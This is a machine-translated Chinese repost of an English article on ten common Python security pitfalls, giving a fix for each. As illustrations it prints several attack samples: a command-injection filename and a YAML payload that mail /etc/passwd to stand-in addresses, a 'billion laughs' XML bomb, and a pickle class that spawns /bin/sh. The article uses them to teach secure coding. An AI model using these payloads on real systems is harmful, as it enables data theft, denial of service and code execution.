Python中的10个常见安全陷阱以及如何避免它们

编写安全代码很难。 当您学习一种语言,一种模块或一种框架时,您将了解应该如何使用它。 在考虑安全性时,您需要考虑如何滥用它 。 Python也不例外,即使在标准库中,也记录了编写强化应用程序的不良做法。 但是,当我与许多Python开发人员交谈时,他们根本不了解他们。

以下是我在Python应用程序中常见的十大问题( 无特殊顺序)

1.输入注入

注入攻击非常广泛并且确实很普遍,并且注入的类型很多。 它们影响所有语言,框架和环境。

SQL注入是直接编写SQL查询而不是使用ORM并将字符串文字与变量混合的地方。 我读了很多代码,其中“转义引号”被认为是解决方法。 不是。 熟悉此备忘单可以进行SQL注入的所有复杂方式。

您可以在使用popen,子进程,os.system并从变量获取参数的任何时候调用命令注入 。 调用本地命令时,有人可能会将这些值设置为恶意内容。

想象一下这个简单的脚本[credit] 。 您使用用户提供的文件名调用子进程:

import subprocess

def transcode_file (request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg' . format(source = filename)
subprocess . call(command, shell = True) # a bad idea!

攻击者将文件名的值设置为"; cat /etc/passwd | mail them@domain.com或类似的"; cat /etc/passwd | mail them@domain.com

固定:

如果使用的是Web框架随附的实用程序,则对输入内容进行清理。 除非您有充分的理由,否则不要手动构造SQL查询。 大多数ORM具有内置的消毒方法。

对于外壳,请使用shlex模块正确地转义输入

2.解析XML

如果您的应用程序曾经加载并解析XML文件,则很可能您正在使用XML标准库模块之一。 通过XML有一些常见的攻击。 大多是DoS风格的(旨在使系统崩溃而不是数据泄露)。 这些攻击很常见,尤其是当您解析外部 (即,非受信任)XML文件时。

其中之一被称为“十亿个笑声”,因为有效载荷通常包含很多(十亿个)“惯性”。 基本上,您的想法是可以使用XML进行引用实体,因此,当您不使用XML的解析器尝试将此XML文件加载到内存中时,它将占用数GB的RAM。 如果您不相信我,请尝试一下:-)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一种攻击是使用外部实体扩展 。 XML支持从外部URL引用实体,XML解析器通常会毫无限制地获取和加载该资源。 “攻击者可以绕过防火墙并获得对受限资源的访问权限,因为所有请求均来自内部且值得信赖的IP地址,而不是来自外部。”

要考虑的另一种情况是您依赖于解码XML的第三方包,例如配置文件,远程API。 您甚至可能没有意识到,您的依赖项之一使自己容易受到这些类型的攻击。

那么在Python中会发生什么呢? 好吧,标准库模块,etree,DOM,xmlrpc都对这些类型的攻击敞开了怀抱。 有充分记录的https://docs.python.org/3/library/xml.html#xml-vulnerabilities

固定:

使用defusedxml替代标准库模块。 它增加了针对这些类型攻击的安全防护。

3.声明

不要使用assert语句来防止用户不应访问的代码段。 举这个简单的例子

def foo(request, user):
assert user.is_admin, “user does not have access”
# secure code...

现在,默认情况下,Python会以__debug__作为true执行,但是在生产环境中,通常会运行优化。 这将跳过assert语句,直接进入安全代码,而不管用户是否为is_admin

固定:

仅使用断言语句与其他开发人员进行通信,例如在单元测试中或在防止API使用不正确的情况下。

4.定时攻击

定时攻击本质上是一种通过定时比较提供的值所花费的时间来揭示行为和算法的方法。 定时攻击需要精度,因此它们通常无法在高延迟的远程网络上工作。 由于大多数Web应用程序涉及可变的延迟,因此在HTTP Web服务器上编写定时攻击几乎是不可能的。

但是,如果您有一个提示输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来确定将其值与实际机密进行比较所花费的时间。 例子

有一些令人印象深刻的示例,例如,如果您想了解它们是如何工作的,则可以使用Python编写的这种基于SSH的定时攻击

固定:

使用Python 3.5中引入的 secrets.compare_digest比较密码和其他私有值。

5.污染的站点包或导入路径

Python的导入系统非常灵活。 当您尝试为测试编写猴子补丁或重载核心功能时,这很棒。

但是,这是Python中最大的安全漏洞之一。

无论是在虚拟环境中还是在全局站点软件包(通常不鼓励使用)中,将第三方软件包安装到站点软件包中都会使您面临这些软件包中的安全漏洞。

出现了一些以与流行的软件包相似的名称发布到PyPi的软件包,但是却执行任意代码 。 幸运的是,最大的事件没有害处,只是“指出”该问题并未得到真正解决。

要考虑的另一种情况是您的依存关系(依此类推)。 它们可能包括漏洞,也可能会通过导入系统覆盖Python中的默认行为。

固定:

审核您的包裹。 查看PyUp.io及其安全服务 。 对所有应用程序使用虚拟环境,并确保您的全局站点程序包尽可能干净。 检查包签名。

6.临时文件

要在Python中创建临时文件,通常需要使用mktemp()函数生成文件名,然后使用该名称创建文件。 “这是不安全的,因为在调用mktemp()到第一个进程随后尝试创建该文件之间的时间内,其他进程可能会使用该名称创建文件。” [1]这意味着它可能会欺骗您的应用程序以加载错误的数据或公开其他临时数据。

如果调用不正确的方法,则最新版本的Python将发出运行时警告。

固定:

如果需要生成临时文件,请使用tempfile 模块并使用 mkstemp

7.使用yaml.load

引用PyYAML文档:

“警告: 使用从不可信来源收到的任何数据 调用 yaml.load 是不安全的 yaml.load pickle.load 一样强大 ,因此可以调用任何Python函数。”

这个美丽的例子在流行的Python项目Ansible中找到。 您可以为Ansible Vault提供此值作为(有效)YAML。 它使用文件中提供的参数调用os.system()

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

因此,有效地从用户提供的值加载YAML文件使您容易受到攻击。

演示此操作,请看Anthony Sottile
固定:

除非您有充分的理由,否则几乎总是使用yaml.safe_load

8.泡菜

反序列化泡菜数据与YAML一样糟糕。 Python类可以声明一个称为__reduce__的魔术方法,该方法返回一个字符串,或者一个具有可调用项的元组,以及在腌制时要调用的参数。 攻击者可以使用它来包含对子过程模块之一的引用,以在主机上运行任意命令。

这个奇妙的示例显示了如何腌制在Python 2中打开外壳程序的类。还有更多有关如何利用腌制的示例

import cPickle
import subprocess
import base64

class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))
固定:

切勿从不可信或未经身份验证的源中获取数据。 请改用其他序列化模式,例如JSON。

9.使用系统Python运行时而不进行修补

大多数POSIX系统都带有Python 2版本。通常是一个旧版本。

由于“ Python”(即CPython)是用C编写的,因此Python解释器本身有时会出现漏洞。 C语言中的常见安全问题与内存分配有关,因此存在缓冲区溢出错误。

多年来,CPython拥有许多溢出或溢出漏洞,每个漏洞都已在后续发行版中进行了修补和修复。

所以你很安全。 也就是说,如果您修补运行时

这是2.7.13及以下版本的示例 ,它是一个整数溢出漏洞,可启用代码执行。 这几乎是Ubuntu 17之前的任何未修补版本。

固定:

为您的生产应用程序安装最新版本的Python, 然后对其进行修补!

10.不打补丁

与不修补运行时类似,您还需要定期修补依赖项。

我发现在PyPi中“固定” Python软件包版本的做法令人恐惧。 这个想法是“ 这些都是可行的版本 ”,因此每个人都将其保留。

我上面提到的代码中的所有漏洞在应用程序使用的程序包中都具有同样重要的意义。 这些软件包的开发人员解决了安全问题。 一直

固定:

使用PyUp.io之类的服务来检查更新,向应用程序提出拉/合并请求并运行测试以使程序包保持最新。

使用InSpec之类的工具在生产环境中验证已安装的版本,并确保修补了最小的版本或版本范围。

你有试过强盗吗?

有一个很棒的静态linter,它将在您的代码中捕获所有这些问题,以及更多!

这叫做强盗,只是pip install banditbandit ./codedir

感谢RedHat在我的一些研究中使用的这篇出色的文章

From: https://hackernoon.com/10-common-security-gotchas-in-python-and-how-to-avoid-them-e19fbe265e03

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值